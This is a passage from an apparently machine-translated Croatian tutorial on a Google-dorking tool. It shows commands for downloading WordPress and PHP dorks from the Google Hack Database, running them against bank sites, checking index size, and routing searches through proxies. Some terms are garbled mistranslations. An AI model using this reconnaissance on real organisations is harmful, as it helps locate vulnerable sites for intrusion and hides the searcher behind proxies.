    Slika 10 – Pronalaženje PHP runtime pogrešaka

    Ponekad nije zgodno koristiti jednu ili dvije kategorije kretena.
    Na primjer, ako je poznato da stranica radi na Wordpress motoru, tada su nam potrebni moduli specifični za WordPress. U ovom slučaju prikladno je koristiti pretraživanje Google Hack Database. Naredba dorks ghdb –q wordpress –o wordpress_dorks.txt će preuzeti sve dorks iz Wordpressa, kao što je prikazano na slici 11:


    Slika 11 – Pretraživanje za Dorks vezano za Wordpress

    Vratimo se opet bankama i upotrijebimo naredbu dorks google –D wordpress_dords.txt –f bank da pokušamo pronaći nešto zanimljivo vezano za Wordpress (vidi sliku 12).


    Slika 12 – Pretraživanje Wordpress ranjivosti

    Vrijedno je napomenuti da pretraživanje na Google Hack Database ne prihvaća riječi kraće od 4 znaka. Na primjer, ako nije poznat CMS stranice, ali je poznat jezik - PHP. U ovom slučaju, možete filtrirati ono što vam je potrebno ručno pomoću cijevi i uslužnog programa za pretraživanje sustava dorks –c sve | findstr /I php > php_dorks.txt (pogledajte sliku 13):


    Slika 13 – Pretraživanje svih kretena gdje se spominje PHP

    Traženje ranjivosti ili nekih osjetljivih informacija u tražilici trebalo bi se provoditi samo ako postoji značajan indeks na ovoj stranici. Na primjer, ako stranica ima 10-15 indeksiranih stranica, onda je glupo bilo što pretraživati ​​na ovaj način. Provjera veličine indeksa je jednostavna - samo unesite "site:somesite.com" u Google traku za pretraživanje. Primjer stranice s nedovoljnim indeksom prikazan je na slici 14.


    Slika 14 – Provjera veličine indeksa stranice

    Sada o neugodnom... S vremena na vrijeme Google može zatražiti captcha - ne možete ništa učiniti u vezi s tim - morat ćete ga unijeti. Na primjer, prilikom pretraživanja kategorije "Poruke o pogrešci" (90 glupana), captcha se pojavila samo jednom.

    Vrijedno je dodati da phantomjs također podržava rad preko proxyja, i preko http i socks sučelja. Da biste omogućili proxy način rada, morate odkomentirati odgovarajući redak u dorks.bat ili dorks.sh.

    Alat je dostupan kao izvorni kod